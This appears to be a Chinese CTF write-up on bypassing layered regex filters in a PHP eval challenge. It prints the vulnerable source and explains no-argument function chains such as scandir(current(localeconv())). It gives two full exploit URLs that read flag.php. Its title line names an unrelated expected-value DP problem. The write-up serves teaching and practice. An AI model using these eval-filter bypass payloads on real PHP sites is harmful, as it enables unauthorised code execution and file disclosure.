P4550 收集郵票(期望dp)
知識點
無引數RCE
審題
個人不喜歡一上來就用自動化的工具這裡掃掃那裡掃掃 因為之前在比賽的時候 web剛出一道題 一堆人上來就是拿著御劍啊sqlmap啊在那掃 後來直到第二題放出來前第一題根本沒辦法做 後面看了wp才知道要用githack掃 原始碼洩露 我就沒掃了 就先貼上掃出來的原始碼
<?php include "flag.php"; echo "flag在哪裡呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("還差一點哦!"); } } else{ die("再好好想想!"); } } else{ die("還想讀flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
明顯是個RCE 只不過有三層過濾 首先第一層:php偽協議用不了了 第二層:(?R)引用當前表示式,後面加了?遞迴呼叫。只能匹配通過無引數的函式。 第三層:et info等函式也用不了 典型的無引數rce 簡單來說 我們需要用全域性變數來rce
解題
以一般的思路來說 肯定是要先scandir的 沒有scandir沒辦法往下做 但是問題是scandir需要一個目錄 而如果掃描當前目錄的話需要一個"." 第一部的預想就是要構造一個"."
localeconv()
可能有人沒見過這個函式(是我了) 但是他在這很重要
看上圖 返回的第一個陣列就是'.' 但是畢竟是陣列 還不是'.' 不過既然是陣列 可以用current()
這個函式返回預設的是當前陣列的第一個 加上之後就過了第一步 拿到了目錄 可以了 不做了
下一步 我們只是拿到了這個陣列的鍵值 還沒有拿到這個陣列對應flag鍵值的具體值
array_flip()
這個函式就可以做到剛剛說的 然後我們得到了鍵值
再下一步 這是道rce 我們最後是@eval 也就是說我們到時候讀沒辦法把整個數組裡的東西一次性讀出來 只能通過highlight_file或者show_source flag.php的方法 簡單來說就是要一個單獨的flag.php這個倒數第二個值
那咋辦嘛
接下來就是判斷你血統的時候了
array_rand()
簡單來說這個函式可以隨機返回一個數組裡的值 我們剛剛日出了鍵值 這個函式就可以隨機返回一個鍵值
你運氣好的話可以玩一整天然後就在外面套一層highlight_file或者show_source就能拿到flag了 完整payload
http://124881fd-d34e-498c-b1c7-f28fa8d802e2.node3.buuoj.cn/?exp=show_source(array_rand(array_flip(scandir(current(localeconv())))));
假如你不想檢驗血統
假如你不能這樣做一整天的話 還有個函式叫array_reverse() 簡單來說就是逆序輸出陣列 但是我們的那個flag在倒數第二個 所以我們還需要一個next() 顧名思義 輸出下一個 把這個next套在
array_reverse()外面 完整payload
http://124881fd-d34e-498c-b1c7-f28fa8d802e2.node3.buuoj.cn/?exp=print_r(highlight_file(next(array_reverse(scandir(pos(localeconv()))))));
EOF